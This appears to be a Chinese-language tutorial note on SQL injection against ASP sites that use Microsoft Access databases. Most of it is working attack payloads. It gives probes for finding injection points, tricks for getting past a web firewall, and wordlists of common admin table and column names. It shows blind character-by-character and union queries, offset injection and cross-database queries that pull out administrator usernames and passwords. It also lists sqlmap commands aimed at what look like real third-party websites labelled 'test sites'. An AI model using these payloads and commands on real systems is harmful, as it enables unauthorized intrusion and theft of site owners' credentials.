Access数据库注入详解
Access
Mssql
Mysql,oracle,postgresql,Db2(比oracle大一些)等
网站访问模型
数据库管理系统/数据库(数据库服务器)->网站(WEB服务器)->Client
漏洞成因:
注入流程:
客户端:参数值等数据被修改->...
reg:www.xxx.com/xxx.asp?id=31
and 1=1 来检测安全狗
+-*/ 0/1,只要执行就说明存在注入
Access达到100M左右性能就会下降
asp链接access数据库代码
"Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;"
dim conn
set conn=server.createobject("adodb.connection");
conn.open"provider=Microsoft.ACE.OLEDB.12.0;"&"data source="&server.mappath("bbs.mdb")
id=31.0 id=31.1 过安全狗
前台看不到就后台抓包
判断注入点
'
And 1=1
And 1=2
/
-0
.0
.1
判断数据库注入
and exsits(select * from msysobjects)>0 access
and exsits(select * from sysobjects)>0 sqlserver
判断数据库表
and exists(select * from admin)
判断数据库列名
and exists(select admin from admin)
判断字段长度
order by 20
判断
/*and 1=2*/ union select 1,2,3,4,5,6,7,8,9 from admin
(判断是否是非数字列)
数据库联合查询
and 1=2 union select 1,2,admin,4,password,6,7,8,9 from admin /*where id=2*/
(password可以在非数字列任意位置上)
access数据库
常见的管理员表名
admin
admin_user
admin_msg
admin_usr
admin_login
username
manager
msg_user
msg_login
useradmin
user_msg
userlogin
users
member
管理员表下常见的管理员列名
admin
admin_user
username
users
usr
user_login
user_name
name
loginame
admin_login
msg_name
密码列名:
password
pwd
pass
user_pass
附:
判断账户密码的长度
and (select len(admin) from admin)=5 如果返回正常说明管理员账户长度为5
and (select len(password) from admin)=5 猜解管理密码长度是否为5
猜解管理账号的第一个数据
通过判断ascii码来判断
and (select top 1 asc(mid(admin,1,1)) from admin)>100返回正常说明大于,不正常说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50 返回正常说明大于
and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常说明等于97,97对应的 字母为a,以此类推
判断管理员账户的第二数据
and (select top 1 asc(mid(admin,2,1)) from admin)>100 返回正常说明大于,不正常说明不大于
第三个
and (select top 1 asc(mid(admin,3,1)) from admin)>100 返回正常说明大于,不正常说明不大于
判断管理员密码的第一个数据
and (select top 1 asc(mid(password,1,1)) from admin)>100 返回正常说明大于,不正常说明不大于
测试站点:
http://www.jnqtly.cn/cp11.asp?id=1129
http://fc1885.com/display1_new.asp?id=237
sqlmap来跑数据
sqlmap.py -u "http://fc1885.com/display1_new.asp?id=237"
回车 判断注入
sqlmap.py -u "http://fc1885.com/display1_new.asp?id=237" --tables 列表名
sqlmap.py -u "http://fc1885.com/display1_new.asp?id=237" --columns -T admin
sqlmap.py -u "http://fc1885.com/display1_new.asp?id=237" --T admin -C admin,password --dump 列数据
常用注入工具:
阿D,明小子,穿山甲,havji,sqlmap等工具
Access数据库高级玩法
偏移注入:
Mantra
id=4827 -0
id=4827 order by 38
id=4827 UNION SELECT .....
用*代替字段长度
用*号来从最后一个字段数22向前逐个删除来代替,直到显示正常为止,*代表了所有admin表的字段
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,10,... from admin
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,... from admin
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,... from admin
用*代替字段长度
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,9,...,* from admin
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=1142 union select 1,2,3,4,5,6,7,8,...,* from admin
带入计算公式
22-16=6 16,10(代第一个公式),4(代第二个公式)
10+6*2=22
4+6*3=22
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)
union select 1,2,3,4,a.id,b.id,c.id,* from (admin as ainner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
偏移注入
第二种方法:
1.后台登陆文件源码表单里面的参数值
2.看网站地址链接上的规则
3.是否判断出对方使用的cms程序
垮裤查询
条件:同服务器下的站点有注入,知道对方站的数据库绝对路径对方数据库表,表中的字段名可以用这个方法来跨库查询
绝对路径(D:/wwwroot/...*.mdb.asa.asp)
reg:
a是目标站点b是存在注入的站点,a,b是同服务器的站点
admin为数据库中的表
user为数据库中admin表的段
password为数据库中admin表的段
跨库查询
http://www.com/news/type.asp?type?id=1 and 1=2 union select 1,2,user,4,5,6 from [D:\wwwroot\1\Databases\xycms.mdb].admin
http://127.0.0.1:81/0/Production/PRODUCT_DETAIL.asp?id=1451 union select 1,2,username,4,5,6,7,8,9,password,11,12... from [D:\wwwroot\1\Databases\xycms.mdb].admin
http://127.0.0.1:99/0/Production/PRODUCT_DETAIL.asp?id=-1513%20UNION%20SELECT%201,2,admin,4,5,6,password,8,9%20from%20 admin_user%20in%20'C:\Users\Seven\Desktop\webpentest\1\xydata\xycms.mdb'
"%20"代表空格
写入文件
执行命令
挖掘0day 代码审计
xycms
通杀0day
union select 1,admin,3,4,password,6,7 from admin_user